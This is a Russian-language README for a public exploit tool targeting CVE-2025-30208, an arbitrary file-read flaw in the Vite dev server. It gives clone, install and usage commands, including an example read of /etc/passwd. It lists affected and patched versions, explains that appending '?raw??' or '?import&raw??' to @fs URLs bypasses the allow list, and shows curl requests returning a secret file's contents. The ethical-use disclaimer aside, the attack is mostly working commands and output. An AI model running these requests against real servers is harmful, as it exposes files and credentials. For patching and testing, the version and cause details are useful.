
Этот эксплойт предназначен только для образовательных целей и этичного тестирования безопасности. Использование данного эксплойта против целей без предварительного взаимного согласия незаконно, и разработчик снимает с себя всякую ответственность за неправомерное использование или ущерб, причинённый этим эксплойтом.
[!IMPORTANT]
Отказ от ответственности
Данный эксплойт предназначен только для образовательных и этических целей тестирования безопасности. Использование этого эксплойта против целей без предварительного взаимного согласия незаконно, и разработчик снимает с себя любую ответственность за неправомерное использование или ущерб, причинённый этим эксплойтом.
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
Опции:
-h, --help показать это справочное сообщение и выйти
-t <Target URL> Пример: -t http://localhost:5173/
-fp <File Path> Пример: -fp /etc/passwd
-i Интерактивный режим
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
Содержимое произвольных файлов может быть возвращено браузеру.
Затронуты только приложения, явно открывающие dev-сервер Vite в сеть (с помощью опций --host или server.host в конфигурации).
@fs запрещает доступ к файлам за пределами разрешённого списка Vite. Добавление ?raw?? или ?import&raw?? в URL обходит это ограничение и возвращает содержимое файла, если он существует. Этот обход существует потому, что конечные разделители, такие как ?, удаляются в нескольких местах, но не учитываются в регулярных выражениях для строк запроса.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# ожидаемое поведение
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# обход защиты
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...